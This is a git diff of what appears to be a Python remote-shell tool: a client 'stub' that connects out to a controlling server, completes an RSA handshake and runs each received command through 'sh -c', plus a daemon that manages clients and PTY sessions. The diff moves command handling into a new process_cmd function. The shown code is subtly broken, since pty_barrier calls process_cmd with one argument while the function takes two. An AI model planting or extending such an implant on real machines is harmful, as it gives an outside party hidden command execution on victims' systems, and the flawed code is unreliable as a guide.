diff options
| -rw-r--r-- | crypto.py | 4 | ||||
| -rw-r--r-- | pkcli_stub.py | 77 | ||||
| -rw-r--r-- | pkctl.py | 12 | ||||
| -rw-r--r-- | pkd_stub.py | 35 |
4 files changed, 73 insertions, 55 deletions
@@ -123,7 +123,7 @@ class PKSock: self.iskp = 0 self.oskp = 0 self.buffer = self.buffer[-backtrack:] - self.read_buffer = True + self.read_buffer = backtrack > 0 self.streaming = False def raw_send (self, b): @@ -194,7 +194,6 @@ class PKSock: rnbytes = Crypto.b2i(self.raw_recv(self.headsz)) self.raw_send(Crypto.i2b(self.nbytes, self.headsz)) if self.nbytes != rnbytes: - print('nbytes mismatch: %d vs %d' % (self.nbytes, rnbytes)) return False self.rpk = {'n': Crypto.b2i(self.recv()), 'e': Crypto.exp} @@ -205,7 +204,6 @@ class PKSock: self.raw_send(Crypto.i2b(self.nbytes, self.headsz)) rnbytes = Crypto.b2i(self.raw_recv(self.headsz)) if self.nbytes != rnbytes: - print('nbytes mismatch: %d vs %d' % (self.nbytes, rnbytes)) return False self.send(Crypto.i2b(self.priv['n'], self.nbytes)) return True diff --git a/pkcli_stub.py b/pkcli_stub.py index 8992949..e678c24 100644 --- a/pkcli_stub.py +++ b/pkcli_stub.py @@ -93,17 +93,21 @@ def get_hostkey(host): return False def pty_barrier(sock): - code = [0]*len(b'\xc0\xdeack') + code = b'\x00'*len(b'\xc0\xdeack') while bytes(code) != b'\xc0\xdeack': buffer = sock.recv() while len(buffer) > 0: - code = code[:-1]+buffer[0:1] + code = code[1:]+buffer[0:1] buffer = buffer[1:] - if bytes(code) == b'\xc0\xdeack': + if code == b'\xc0\xdeack': break sock.stop_stream(len(buffer)) + if len(buffer) > 0: + return process_cmd(sock) + else: + return True, True def run_pty(sock): sock.start_stream() @@ -137,7 +141,7 @@ def run_pty(sock): else: data = sock.recv() if not data: - return False + return True, False elif data[:6] == b'\xc0\xdenpty': quit = True else: @@ -145,8 +149,7 @@ def run_pty(sock): if quit: sock.send(b'\xc0\xdenpty') - pty_barrier(sock) - return True + return pty_barrier(sock) #except: # return False finally: @@ -156,6 +159,37 @@ def run_pty(sock): except: pass +def process_cmd (sock, prompt): + cmd = sock.recv() + if cmd == b'tunnel': + sock.send(b'\xde\xad') + return True, False + elif cmd == b'die': + sock.send(b'\xde\xad') + return False, False + elif cmd == b'refresh-hdb': + if refresh_hdb(): + response = '[pk] Host database refreshed.\n' + else: + response = '[pk] Error: could not refresh host database.\n' + elif cmd == b'pty': + live, cont = run_pty(sock) + if not live or not cont: + return live, cont + else: + response = 'PTY done.\n' + else: + try: + proc = subprocess.Popen(['sh', '-c', cmd], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) + stdout, stderr = proc.communicate() + response = stdout+stderr + if type(response) == bytes: + response = str(response, 'utf-8') + except Exception as e: + response = '%s\n' % str(e) + sock.send(bytes('%s%s' % (response, prompt), 'utf-8')) + return True, True + def work(h_addr, port, privkey, bits): global server_modulus try: @@ -173,7 +207,6 @@ def work(h_addr, port, privkey, bits): else: rpubkey = {'n': server_modulus, 'e': Crypto.exp} if not sock.handshake_server(rpubkey): - print('fucc') return True PS1 = '$ ' @@ -181,32 +214,10 @@ def work(h_addr, port, privkey, bits): PS1 = os.environ['PS1'] sock.send(bytes(PS1, 'utf-8')) while True: - cmd = sock.recv() - if cmd == b'tunnel': - sock.send(b'\xde\xad') - return True - elif cmd == b'die': - sock.send(b'\xde\xad') - return False - elif cmd == b'refresh-hdb': - if refresh_hdb(): - response = '[pk] Host database refreshed.\n' - else: - response = '[pk] Error: could not refresh host database.\n' - elif cmd == b'pty': - if not run_pty(sock): - return True - continue - else: - try: - proc = subprocess.Popen(['sh', '-c', cmd], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) - stdout, stderr = proc.communicate() - response = stdout+stderr - if type(response) == bytes: - response = str(response, 'utf-8') - except Exception as e: - response = '%s\n' % str(e) - sock.send(bytes('%s%s' % (response, PS1), 'utf-8')) + live, cont = process_cmd(sock, PS1) + if not live or not cont: + break + return live #except: # return True finally: @@ -124,21 +124,19 @@ def attach_cmd(): print('turned off pty mode due to remote detach') attached = False break - elif pty_mode and data[:6] == b'\xc0\xdenpty': + elif pty_mode and b'\xc0\xdenpty' in data: + idx = data.index(b'\xc0\xdenpty') + pnnl(str(data[:idx], 'utf-8')) tty.tcsetattr(sys.stdin.fileno(), tty.TCSAFLUSH, stdin_mode) pty_mode = False print('turned off pty mode due to npty command') + pnnl(str(data[idx+6:], 'utf-8')) elif not pty_mode and data == b'\xc0\xdepty': pty_mode = True stdin_mode = tty.tcgetattr(sys.stdin.fileno()) tty.setraw(sys.stdin.fileno()) else: - if data[:6] == b'\xc0\xdenpty': - pnnl(str(data[6:], 'utf-8')) - elif data[:2] == b'\xc0\xde': - print('Received bogus code from server', data) - else: - pnnl(str(data, 'utf-8')) + pnnl(str(data, 'utf-8')) sel.close() sock.close() if pty_mode: diff --git a/pkd_stub.py b/pkd_stub.py index 695db77..fb45875 100644 --- a/pkd_stub.py +++ b/pkd_stub.py @@ -305,7 +305,7 @@ def tcp_send_npty(sel, client): except: tcp_disconnect(sel, client) -def tcp_unpty(sel, client, catchup=True, backtrack=0): +def tcp_unpty(sel, client, catchup=True, putback=0): if type(client['pty']) == dict: client['pty']['pty'] = False if client['pty']['alive']: @@ -319,21 +319,15 @@ def tcp_unpty(sel, client, catchup=True, backtrack=0): except: tcp_disconnect(sel, client) - client['sock'].stop_stream(backtrack) + client['sock'].stop_stream(backtrack=putback) client['pty'] = False if catchup: tcp_dumpq(sel, client) -def tcp_transport(sel, sock, client): - global tcp_clients, privkey, bits +def tcp_process_data(sel, sock, client, data): + global tcp_clients - if not client['alive']: - return - try: - data = client['sock'].recv() - except: - data = False if not data or data == b'\xde\xad': if client['pty']: tcp_unpty(sel, client, catchup=False) @@ -341,9 +335,17 @@ def tcp_transport(sel, sock, client): return elif not client['pty']: brint('[%d]' % tcp_clients.index(client), data, end='', prompt=False) - elif data[:6] == b'\xc0\xdenpty': - tcp_unpty(sel, client, catchup=True, backtrack=len(data[6:])) + elif b'\xc0\xdenpty' in data: + idx = data.index(b'\xc0\xdenpty') + if idx > 0: + tcp_process_data(sel, sock, client, data[:idx]) + + print('[INFO] received npty from client') + tcp_unpty(sel, client, catchup=True, putback=len(data)-idx-6) print('[INFO] npty acknowledged') + + if idx+6 < len(data): + tcp_transport(sel, sock, client) else: try: client['pty']['sock'].sendall(data) @@ -351,6 +353,15 @@ def tcp_transport(sel, sock, client): screens_detach(sel, client['pty']) tcp_send_npty(sel, client) +def tcp_transport(sel, sock, client): + if not client['alive']: + return + try: + data = client['sock'].recv() + except: + data = False + tcp_process_data(sel, sock, client, data) + def tcp_close(sock, client): try: dispatch_ccmd(client, b'tunnel') |